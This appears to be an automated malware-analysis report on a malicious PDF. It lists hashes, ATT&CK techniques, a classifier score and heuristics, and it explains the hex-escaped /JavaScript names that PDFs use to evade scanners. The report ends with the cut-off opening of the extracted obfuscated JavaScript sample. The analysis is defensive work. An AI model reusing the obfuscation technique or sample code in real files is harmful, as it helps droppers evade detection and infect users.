Malicious PDF — malware analysis report

Static analysis result for SHA-256 766970258b5ced06…

MALICIOUS

PDF

7.4 KB Created: 2010-09-16 18:55:19 Authoring application: Tolhipezorojpagiwaqo (via 761a2Seueganadazaqeav)
MD5: e4411f2566aaea0691d6031b0263797d SHA-1: 2711b91a4e00b7920bf4f8e8da0d2576d76ee9d9 SHA-256: 766970258b5ced06f5b5ef4338c0600ec80dcc2a105163ec3f9feac3e33acbee
106 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings related to JavaScript actions and obfuscated name objects. The embedded JavaScript stream, named 'javascript_obj0011_000.js', is likely responsible for downloading and executing a secondary payload. The ML classifier strongly flags this PDF as malicious, supporting the conclusion that it is part of a malicious document delivery chain, likely via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9954

Heuristics 3

  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js
e2d41866c9fb013feb60cefe8b41892c7277decb0774febb940ce493b1221654
pdf-javascript-stream PDF /JS object 11 at offset 0x1387 2332 bytes
Preview script
First 1,000 lines of the extracted script
var mROH = null;

try {

var zMR=new String("len"+"gth");
var jI=String("rAt");
var kNMF=String("cha");
var b=this;
var tS=50;
var sVGH=1;
var vOR=0;


var eNMP=/[8~@Z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